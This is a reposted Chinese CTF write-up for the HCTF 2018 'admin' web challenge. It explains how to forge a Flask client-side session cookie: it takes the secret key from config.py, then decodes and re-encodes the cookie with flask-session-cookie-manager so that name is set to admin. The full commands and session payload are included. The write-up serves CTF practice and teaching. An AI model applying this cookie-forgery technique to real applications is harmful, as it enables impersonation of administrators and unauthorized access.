[HCTF 2018]admin 1
2021/8/20 6:06:10
本文主要是介绍[HCTF 2018]admin 1,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1.发现
1.1将每个界面源代码看一遍,发现提示要注册登录。
1.2注册登录后查看各节目源代码,发现一个提示,后面用到。
1.3 在change源代码中,发现提示,下载文件。
1.4 通过第一个提示打开下载文件中的index.html文件,分析代码,发现如果session等于admin就出hctf{},即flag。
而提示flask就有用了,flask是轻量级web框架,session存在客户端,我们可以伪造session(cookie)。
{% include('header.html') %} {% if current_user.is_authenticated %} <h1 class="nav">Hello {{ session['name'] }}</h1> {% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1> {% endif %} <!-- you are not admin --> <h1 class="nav">Welcome to hctf</h1> {% include('footer.html') %}
知识点:
1)Flask 会话 Cookie 解码器/编码器的安装与使用。
2.步骤
2.1在config.py中得到secret key
2.2 在网页中随便提取得到Cookie.
2.3 解密
python flask_session_cookie_manager3.py decode -s 'ckj123' -c ".eJw9kMFqwkAURX-lvLWLZBI3ggvLVBth3hB5MczbiDUxccaxNCqSiP_eqQXXh3vg3Dts9l19bmFy6a71CDaHCiZ3ePuCCSiBlmndKmsGpDxCmlsc2KKsDki7FMuVQ-siJnRqsW5ZzhKWq1ZLdOizXlPllPwYcJgNRhQ9S3NDuRsbwV4FD9u8D_vUlEvHZXD_eWQhkIpelUWKkq0p8wQXgfn50VB-05T3WhaJEuujESurbOXYmyk8RrA7d_vN5dvVp1eCpixmYq9pGVKqlm0ThYlncokaVKro3bJsYrXgo_HotczGeJs-dQe_beqXiT7nPzr_J6etDwBikcAIrue6e74GcQSPX8TKa-o.YR7E1g.yceXorVB7JToX1UUNrdBIPfMgJM"
2.4 将name改为admin,再加密,得到新的session值。
python flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'3cce5a26354451c76c47b5785dd694e3d0ead07d4a83d6b297d013703ce2d60479cff36cf42698abdeac53d0565521e846cad74ac6aea409428573eecdc27dff', 'csrf_token': b'925e6f92ce7af8427fe9733810cd850febcf8297', 'image': b'Lqj9', 'name': 'admin', 'user_id': '10'}"
2.5将加密后的session输回去,然后返回index主页就可以得到flag。
3.借鉴
(16条消息) BUUCTF [HCTF 2018]admin 1_wow小华的博客-CSDN博客
https://github.com/noraj/flask-session-cookie-manager
这篇关于[HCTF 2018]admin 1的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23增量更新怎么做?-icode9专业技术文章分享
- 2024-11-23压缩包加密方案有哪些?-icode9专业技术文章分享
- 2024-11-23用shell怎么写一个开机时自动同步远程仓库的代码?-icode9专业技术文章分享
- 2024-11-23webman可以同步自己的仓库吗?-icode9专业技术文章分享
- 2024-11-23在 Webman 中怎么判断是否有某命令进程正在运行?-icode9专业技术文章分享
- 2024-11-23如何重置new Swiper?-icode9专业技术文章分享
- 2024-11-23oss直传有什么好处?-icode9专业技术文章分享
- 2024-11-23如何将oss直传封装成一个组件在其他页面调用时都可以使用?-icode9专业技术文章分享
- 2024-11-23怎么使用laravel 11在代码里获取路由列表?-icode9专业技术文章分享
- 2024-11-22怎么实现ansible playbook 备份代码中命名包含时间戳功能?-icode9专业技术文章分享